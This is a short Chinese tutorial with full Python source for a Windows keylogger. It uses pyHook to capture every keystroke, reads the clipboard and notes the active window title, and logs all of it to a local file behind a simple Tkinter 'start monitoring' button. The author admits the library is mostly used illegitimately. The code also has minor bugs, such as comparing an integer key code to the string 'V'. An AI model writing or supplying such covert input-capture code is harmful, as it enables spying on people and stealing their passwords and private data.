这里主要使用的模块是pyhook。
原理非常简单,在windows操作系统下的任何操作会被钩子钩住,当我的得到我想要的信息之后再将原来的消息发送出去,我截取了我想要的消息。
这里推荐使用pyHook3,因为这个模块的功能基本上不是正当用途,所以pip和conda直接安装是找不到的。还有就是界面设计由于不是重点,我就使用的Tkinter最基础的实现,非常简单。
# 1.注册钩子管理器
# 2.写回调函数
# 3.勾住事件
# 4.pump消息输送出去
# 5.特殊处理如ctrl+c
import pyHook
import pythoncom
import tkinter
import win32clipboard
key_board_log = r'D:/zc.txt'
window_name_before = None
def getClipBoardValues():
# 获取粘贴板内容
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
return value
def onKeyDown(event):
# 按键事件
global window_name_before
win_name = ''
if event.WindowName != window_name_before:
window_name_before = event.WindowName
win_name = '{}\n'.format(window_name_before)
value = ''
if event.Ascii > 32 and event.Ascii <127:
value = chr(event.Ascii)
elif event.Ascii == "V":
value = getClipBoardValues()
else:
value = "{}".format(str(event.key))
with open(key_board_log, 'ab+') as f:
f.writelines(win_name)
f.write(value)
return True
def start():
# 注册管理器
pyhm = pyHook.HookManager()
# 回调函数
pyhm.KeyDown = onKeyDown
# 勾住事件
pyhm.HookKeyboard()
# 输送出去
pythoncom.PumpMessages()
def create_frame():
base = tkinter.Tk()
base.wm_title("Frame")
btn = tkinter.Button(base, text="开始监控", command=start)
btn.pack()
base.mainloop()
if __name__ == '__main__':
create_frame()
注意:pyhook在python3下可能有问题。